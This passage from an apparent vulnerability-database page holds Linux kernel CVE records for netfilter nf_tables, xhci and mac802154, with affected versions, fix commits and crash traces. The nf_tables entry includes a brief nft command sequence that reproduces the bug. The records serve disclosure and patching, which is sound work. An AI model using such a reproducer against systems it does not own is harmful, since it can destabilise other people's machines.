          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: reject new basechain after table flag update\n\nWhen dormant flag is toggled, hooks are disabled in the commit phase by\niterating over current chains in table (existing and new).\n\nThe following configuration allows for an inconsistent state:\n\n  add table x\n  add chain x y { type filter hook input priority 0; }\n  add table x { flags dormant; }\n  add chain x w { type filter hook input priority 1; }\n\nwhich triggers the following warning when trying to unregister chain w\nwhich is already unregistered.\n\n[  127.322252] WARNING: CPU: 7 PID: 1211 at net/netfilter/core.c:50                                                                     1 __nf_unregister_net_hook+0x21a/0x260\n[...]\n[  127.322519] Call Trace:\n[  127.322521]  \u003cTASK\u003e\n[  127.322524]  ? __warn+0x9f/0x1a0\n[  127.322531]  ? __nf_unregister_net_hook+0x21a/0x260\n[  127.322537]  ? report_bug+0x1b1/0x1e0\n[  127.322545]  ? handle_bug+0x3c/0x70\n[  127.322552]  ? exc_invalid_op+0x17/0x40\n[  127.322556]  ? asm_exc_invalid_op+0x1a/0x20\n[  127.322563]  ? kasan_save_free_info+0x3b/0x60\n[  127.322570]  ? __nf_unregister_net_hook+0x6a/0x260\n[  127.322577]  ? __nf_unregister_net_hook+0x21a/0x260\n[  127.322583]  ? __nf_unregister_net_hook+0x6a/0x260\n[  127.322590]  ? __nf_tables_unregister_hook+0x8a/0xe0 [nf_tables]\n[  127.322655]  nft_table_disable+0x75/0xf0 [nf_tables]\n[  127.322717]  nf_tables_commit+0x2571/0x2620 [nf_tables]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:25.540Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/6d12f21f8bbe23fde25b77c2bf5973c136b8bef8"
        },
        {
          "url": "https://git.kernel.org/stable/c/41bad13c0e8a5a2b47a7472cced922555372daab"
        },
        {
          "url": "https://git.kernel.org/stable/c/7b6fba6918714afee3e17796113ccab636255c7b"
        },
        {
          "url": "https://git.kernel.org/stable/c/8ba81dca416adf82fc5a2a23abc1a8cc02ad32fb"
        },
        {
          "url": "https://git.kernel.org/stable/c/745cf6a843896cdac8766c74379300ed73c78830"
        },
        {
          "url": "https://git.kernel.org/stable/c/420132bee3d0136b7fba253a597b098fe15493a7"
        },
        {
          "url": "https://git.kernel.org/stable/c/e95bb4cba94c018be24b11f017d1c55dd6cda31a"
        },
        {
          "url": "https://git.kernel.org/stable/c/994209ddf4f430946f6247616b2e33d179243769"
        }
      ],
      "title": "netfilter: nf_tables: reject new basechain after table flag update",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35900",
    "datePublished": "2024-05-19T08:34:54.016Z",
    "dateReserved": "2024-05-17T13:50:33.114Z",
    "dateUpdated": "2026-05-12T11:52:36.621Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26659 (GCVE-0-2024-26659)

Vulnerability from cvelistv5 – Published: 2024-04-02 06:22 – Updated: 2026-05-12 11:49

Title

xhci: handle isoc Babble and Buffer Overrun events properly

Summary

In the Linux kernel, the following vulnerability has been resolved: xhci: handle isoc Babble and Buffer Overrun events properly xHCI 4.9 explicitly forbids assuming that the xHC has released its ownership of a multi-TRB TD when it reports an error on one of the early TRBs. Yet the driver makes such assumption and releases the TD, allowing the remaining TRBs to be freed or overwritten by new TDs. The xHC should also report completion of the final TRB due to its IOC flag being set by us, regardless of prior errors. This event cannot be recognized if the TD has already been freed earlier, resulting in "Transfer event TRB DMA ptr not part of current TD" error message. Fix this by reusing the logic for processing isoc Transaction Errors. This also handles hosts which fail to report the final completion. Fix transfer length reporting on Babble errors. They may be caused by device malfunction, no guarantee that the buffer has been filled.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/696e4112e5c1ee619…
https://git.kernel.org/stable/c/2aa7bcfdbb46241c7…
https://git.kernel.org/stable/c/2e3ec80ea7ba58bbb…
https://git.kernel.org/stable/c/f5e7ffa9269a448a7…
https://git.kernel.org/stable/c/418456c0ce5620961…
https://git.kernel.org/stable/c/7c4650ded49e5b889…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 04e51901dd44f40a5a385ced897f6bca87d5f40a , < 696e4112e5c1ee61996198f0ebb6ca3fab55166e (git) Affected: 04e51901dd44f40a5a385ced897f6bca87d5f40a , < 2aa7bcfdbb46241c701811bbc0d64d7884e3346c (git) Affected: 04e51901dd44f40a5a385ced897f6bca87d5f40a , < 2e3ec80ea7ba58bbb210e83b5a0afefee7c171d3 (git) Affected: 04e51901dd44f40a5a385ced897f6bca87d5f40a , < f5e7ffa9269a448a720e21f1ed1384d118298c97 (git) Affected: 04e51901dd44f40a5a385ced897f6bca87d5f40a , < 418456c0ce56209610523f21734c5612ee634134 (git) Affected: 04e51901dd44f40a5a385ced897f6bca87d5f40a , < 7c4650ded49e5b88929ecbbb631efb8b0838e811 (git)
Linux	Linux	Affected: 2.6.36 Unaffected: 0 , < 2.6.36 (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.82 , ≤ 6.1.* (semver) Unaffected: 6.6.17 , ≤ 6.6.* (semver) Unaffected: 6.7.5 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26659",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T19:31:25.014647Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T19:31:33.585Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:12.454Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/696e4112e5c1ee61996198f0ebb6ca3fab55166e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2aa7bcfdbb46241c701811bbc0d64d7884e3346c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2e3ec80ea7ba58bbb210e83b5a0afefee7c171d3"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f5e7ffa9269a448a720e21f1ed1384d118298c97"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/418456c0ce56209610523f21734c5612ee634134"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7c4650ded49e5b88929ecbbb631efb8b0838e811"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:25.643Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-ring.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "696e4112e5c1ee61996198f0ebb6ca3fab55166e",
              "status": "affected",
              "version": "04e51901dd44f40a5a385ced897f6bca87d5f40a",
              "versionType": "git"
            },
            {
              "lessThan": "2aa7bcfdbb46241c701811bbc0d64d7884e3346c",
              "status": "affected",
              "version": "04e51901dd44f40a5a385ced897f6bca87d5f40a",
              "versionType": "git"
            },
            {
              "lessThan": "2e3ec80ea7ba58bbb210e83b5a0afefee7c171d3",
              "status": "affected",
              "version": "04e51901dd44f40a5a385ced897f6bca87d5f40a",
              "versionType": "git"
            },
            {
              "lessThan": "f5e7ffa9269a448a720e21f1ed1384d118298c97",
              "status": "affected",
              "version": "04e51901dd44f40a5a385ced897f6bca87d5f40a",
              "versionType": "git"
            },
            {
              "lessThan": "418456c0ce56209610523f21734c5612ee634134",
              "status": "affected",
              "version": "04e51901dd44f40a5a385ced897f6bca87d5f40a",
              "versionType": "git"
            },
            {
              "lessThan": "7c4650ded49e5b88929ecbbb631efb8b0838e811",
              "status": "affected",
              "version": "04e51901dd44f40a5a385ced897f6bca87d5f40a",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/host/xhci-ring.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.36"
            },
            {
              "lessThan": "2.6.36",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.82",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.17",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.82",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.17",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.5",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "2.6.36",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxhci: handle isoc Babble and Buffer Overrun events properly\n\nxHCI 4.9 explicitly forbids assuming that the xHC has released its\nownership of a multi-TRB TD when it reports an error on one of the\nearly TRBs. Yet the driver makes such assumption and releases the TD,\nallowing the remaining TRBs to be freed or overwritten by new TDs.\n\nThe xHC should also report completion of the final TRB due to its IOC\nflag being set by us, regardless of prior errors. This event cannot\nbe recognized if the TD has already been freed earlier, resulting in\n\"Transfer event TRB DMA ptr not part of current TD\" error message.\n\nFix this by reusing the logic for processing isoc Transaction Errors.\nThis also handles hosts which fail to report the final completion.\n\nFix transfer length reporting on Babble errors. They may be caused by\ndevice malfunction, no guarantee that the buffer has been filled."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:01:41.045Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/696e4112e5c1ee61996198f0ebb6ca3fab55166e"
        },
        {
          "url": "https://git.kernel.org/stable/c/2aa7bcfdbb46241c701811bbc0d64d7884e3346c"
        },
        {
          "url": "https://git.kernel.org/stable/c/2e3ec80ea7ba58bbb210e83b5a0afefee7c171d3"
        },
        {
          "url": "https://git.kernel.org/stable/c/f5e7ffa9269a448a720e21f1ed1384d118298c97"
        },
        {
          "url": "https://git.kernel.org/stable/c/418456c0ce56209610523f21734c5612ee634134"
        },
        {
          "url": "https://git.kernel.org/stable/c/7c4650ded49e5b88929ecbbb631efb8b0838e811"
        }
      ],
      "title": "xhci: handle isoc Babble and Buffer Overrun events properly",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26659",
    "datePublished": "2024-04-02T06:22:09.241Z",
    "dateReserved": "2024-02-19T14:20:24.147Z",
    "dateUpdated": "2026-05-12T11:49:25.643Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-57948 (GCVE-0-2024-57948)

Vulnerability from cvelistv5 – Published: 2025-01-31 11:25 – Updated: 2026-05-12 12:01

Title

mac802154: check local interfaces before deleting sdata list

Summary

In the Linux kernel, the following vulnerability has been resolved: mac802154: check local interfaces before deleting sdata list syzkaller reported a corrupted list in ieee802154_if_remove. [1] Remove an IEEE 802.15.4 network interface after unregister an IEEE 802.15.4 hardware device from the system. CPU0 CPU1 ==== ==== genl_family_rcv_msg_doit ieee802154_unregister_hw ieee802154_del_iface ieee802154_remove_interfaces rdev_del_virtual_intf_deprecated list_del(&sdata->list) ieee802154_if_remove list_del_rcu The net device has been unregistered, since the rcu grace period, unregistration must be run before ieee802154_if_remove. To avoid this issue, add a check for local->interfaces before deleting sdata list. [1] kernel BUG at lib/list_debug.c:58! Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 0 UID: 0 PID: 6277 Comm: syz-executor157 Not tainted 6.12.0-rc6-syzkaller-00005-g557329bcecc2 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024 RIP: 0010:__list_del_entry_valid_or_report+0xf4/0x140 lib/list_debug.c:56 Code: e8 a1 7e 00 07 90 0f 0b 48 c7 c7 e0 37 60 8c 4c 89 fe e8 8f 7e 00 07 90 0f 0b 48 c7 c7 40 38 60 8c 4c 89 fe e8 7d 7e 00 07 90 <0f> 0b 48 c7 c7 a0 38 60 8c 4c 89 fe e8 6b 7e 00 07 90 0f 0b 48 c7 RSP: 0018:ffffc9000490f3d0 EFLAGS: 00010246 RAX: 000000000000004e RBX: dead000000000122 RCX: d211eee56bb28d00 RDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000 RBP: ffff88805b278dd8 R08: ffffffff8174a12c R09: 1ffffffff2852f0d R10: dffffc0000000000 R11: fffffbfff2852f0e R12: dffffc0000000000 R13: dffffc0000000000 R14: dead000000000100 R15: ffff88805b278cc0 FS: 0000555572f94380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000056262e4a3000 CR3: 0000000078496000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> __list_del_entry_valid include/linux/list.h:124 [inline] __list_del_entry include/linux/list.h:215 [inline] list_del_rcu include/linux/rculist.h:157 [inline] ieee802154_if_remove+0x86/0x1e0 net/mac802154/iface.c:687 rdev_del_virtual_intf_deprecated net/ieee802154/rdev-ops.h:24 [inline] ieee802154_del_iface+0x2c0/0x5c0 net/ieee802154/nl-phy.c:323 genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0xb14/0xec0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2551 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1331 [inline] netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1357 netlink_sendmsg+0x8e4/0xcb0 net/netlink/af_netlink.c:1901 sock_sendmsg_nosec net/socket.c:729 [inline] __sock_sendmsg+0x221/0x270 net/socket.c:744 ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2607 ___sys_sendmsg net/socket.c:2661 [inline] __sys_sendmsg+0x292/0x380 net/socket.c:2690 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/0d11dc30edfc4acef…
https://git.kernel.org/stable/c/98ea165a2ac240345…
https://git.kernel.org/stable/c/80aee0bc0dbe253b6…
https://git.kernel.org/stable/c/41e4ca8acba39f1ce…
https://git.kernel.org/stable/c/2e41e98c4e79edae3…
https://git.kernel.org/stable/c/b856d2c1384bc5a74…
https://git.kernel.org/stable/c/eb09fbeb48709fe66…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 62610ad21870a8cf842d4a48f07c3a964e1d2622 , < 0d11dc30edfc4acef0acef130bb5ca596317190a (git) Affected: 62610ad21870a8cf842d4a48f07c3a964e1d2622 , < 98ea165a2ac240345c48b57c0a3d08bbcad02929 (git) Affected: 62610ad21870a8cf842d4a48f07c3a964e1d2622 , < 80aee0bc0dbe253b6692d33e64455dc742fc52f1 (git) Affected: 62610ad21870a8cf842d4a48f07c3a964e1d2622 , < 41e4ca8acba39f1cecff2dfdf14ace4ee52c4272 (git) Affected: 62610ad21870a8cf842d4a48f07c3a964e1d2622 , < 2e41e98c4e79edae338f2662dbdf74ac2245d183 (git) Affected: 62610ad21870a8cf842d4a48f07c3a964e1d2622 , < b856d2c1384bc5a7456262afd21aa439ee5cdf6e (git) Affected: 62610ad21870a8cf842d4a48f07c3a964e1d2622 , < eb09fbeb48709fe66c0d708aed81e910a577a30a (git)
Linux	Linux	Affected: 3.5 Unaffected: 0 , < 3.5 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.12.11 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:56:15.610Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:41.428Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/mac802154/iface.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "0d11dc30edfc4acef0acef130bb5ca596317190a",
              "status": "affected",
              "version": "62610ad21870a8cf842d4a48f07c3a964e1d2622",
              "versionType": "git"
            },
            {
              "lessThan": "98ea165a2ac240345c48b57c0a3d08bbcad02929",
              "status": "affected",
              "version": "62610ad21870a8cf842d4a48f07c3a964e1d2622",
              "versionType": "git"
            },
            {
              "lessThan": "80aee0bc0dbe253b6692d33e64455dc742fc52f1",
              "status": "affected",
              "version": "62610ad21870a8cf842d4a48f07c3a964e1d2622",
              "versionType": "git"
            },
            {
              "lessThan": "41e4ca8acba39f1cecff2dfdf14ace4ee52c4272",
              "status": "affected",
              "version": "62610ad21870a8cf842d4a48f07c3a964e1d2622",
              "versionType": "git"
            },
            {
              "lessThan": "2e41e98c4e79edae338f2662dbdf74ac2245d183",
              "status": "affected",
              "version": "62610ad21870a8cf842d4a48f07c3a964e1d2622",
              "versionType": "git"
            },
            {
              "lessThan": "b856d2c1384bc5a7456262afd21aa439ee5cdf6e",
              "status": "affected",
              "version": "62610ad21870a8cf842d4a48f07c3a964e1d2622",
              "versionType": "git"
            },
            {
              "lessThan": "eb09fbeb48709fe66c0d708aed81e910a577a30a",
              "status": "affected",
              "version": "62610ad21870a8cf842d4a48f07c3a964e1d2622",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/mac802154/iface.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.5"
            },
            {
              "lessThan": "3.5",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "3.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "3.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "3.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "3.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "3.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.11",
                  "versionStartIncluding": "3.5",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "3.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmac802154: check local interfaces before deleting sdata list\n\nsyzkaller reported a corrupted list in ieee802154_if_remove. [1]\n\nRemove an IEEE 802.15.4 network interface after unregister an IEEE 802.15.4\nhardware device from the system.\n\nCPU0\t\t\t\t\tCPU1\n====\t\t\t\t\t====\ngenl_family_rcv_msg_doit\t\tieee802154_unregister_hw\nieee802154_del_iface\t\t\tieee802154_remove_interfaces\nrdev_del_virtual_intf_deprecated\tlist_del(\u0026sdata-\u003elist)\nieee802154_if_remove\nlist_del_rcu\n\nThe net device has been unregistered, since the rcu grace period,\nunregistration must be run before ieee802154_if_remove.\n\nTo avoid this issue, add a check for local-\u003einterfaces before deleting\nsdata list.\n\n[1]\nkernel BUG at lib/list_debug.c:58!\nOops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN PTI\nCPU: 0 UID: 0 PID: 6277 Comm: syz-executor157 Not tainted 6.12.0-rc6-syzkaller-00005-g557329bcecc2 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\nRIP: 0010:__list_del_entry_valid_or_report+0xf4/0x140 lib/list_debug.c:56\nCode: e8 a1 7e 00 07 90 0f 0b 48 c7 c7 e0 37 60 8c 4c 89 fe e8 8f 7e 00 07 90 0f 0b 48 c7 c7 40 38 60 8c 4c 89 fe e8 7d 7e 00 07 90 \u003c0f\u003e 0b 48 c7 c7 a0 38 60 8c 4c 89 fe e8 6b 7e 00 07 90 0f 0b 48 c7\nRSP: 0018:ffffc9000490f3d0 EFLAGS: 00010246\nRAX: 000000000000004e RBX: dead000000000122 RCX: d211eee56bb28d00\nRDX: 0000000000000000 RSI: 0000000080000000 RDI: 0000000000000000\nRBP: ffff88805b278dd8 R08: ffffffff8174a12c R09: 1ffffffff2852f0d\nR10: dffffc0000000000 R11: fffffbfff2852f0e R12: dffffc0000000000\nR13: dffffc0000000000 R14: dead000000000100 R15: ffff88805b278cc0\nFS:  0000555572f94380(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 000056262e4a3000 CR3: 0000000078496000 CR4: 00000000003526f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n \u003cTASK\u003e\n __list_del_entry_valid include/linux/list.h:124 [inline]\n __list_del_entry include/linux/list.h:215 [inline]\n list_del_rcu include/linux/rculist.h:157 [inline]\n ieee802154_if_remove+0x86/0x1e0 net/mac802154/iface.c:687\n rdev_del_virtual_intf_deprecated net/ieee802154/rdev-ops.h:24 [inline]\n ieee802154_del_iface+0x2c0/0x5c0 net/ieee802154/nl-phy.c:323\n genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline]\n genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline]\n genl_rcv_msg+0xb14/0xec0 net/netlink/genetlink.c:1210\n netlink_rcv_skb+0x1e3/0x430 net/netlink/af_netlink.c:2551\n genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219\n netlink_unicast_kernel net/netlink/af_netlink.c:1331 [inline]\n netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1357\n netlink_sendmsg+0x8e4/0xcb0 net/netlink/af_netlink.c:1901\n sock_sendmsg_nosec net/socket.c:729 [inline]\n __sock_sendmsg+0x221/0x270 net/socket.c:744\n ____sys_sendmsg+0x52a/0x7e0 net/socket.c:2607\n ___sys_sendmsg net/socket.c:2661 [inline]\n __sys_sendmsg+0x292/0x380 net/socket.c:2690\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:01:13.555Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/0d11dc30edfc4acef0acef130bb5ca596317190a"
        },
        {
          "url": "https://git.kernel.org/stable/c/98ea165a2ac240345c48b57c0a3d08bbcad02929"
        },
        {
          "url": "https://git.kernel.org/stable/c/80aee0bc0dbe253b6692d33e64455dc742fc52f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/41e4ca8acba39f1cecff2dfdf14ace4ee52c4272"
        },
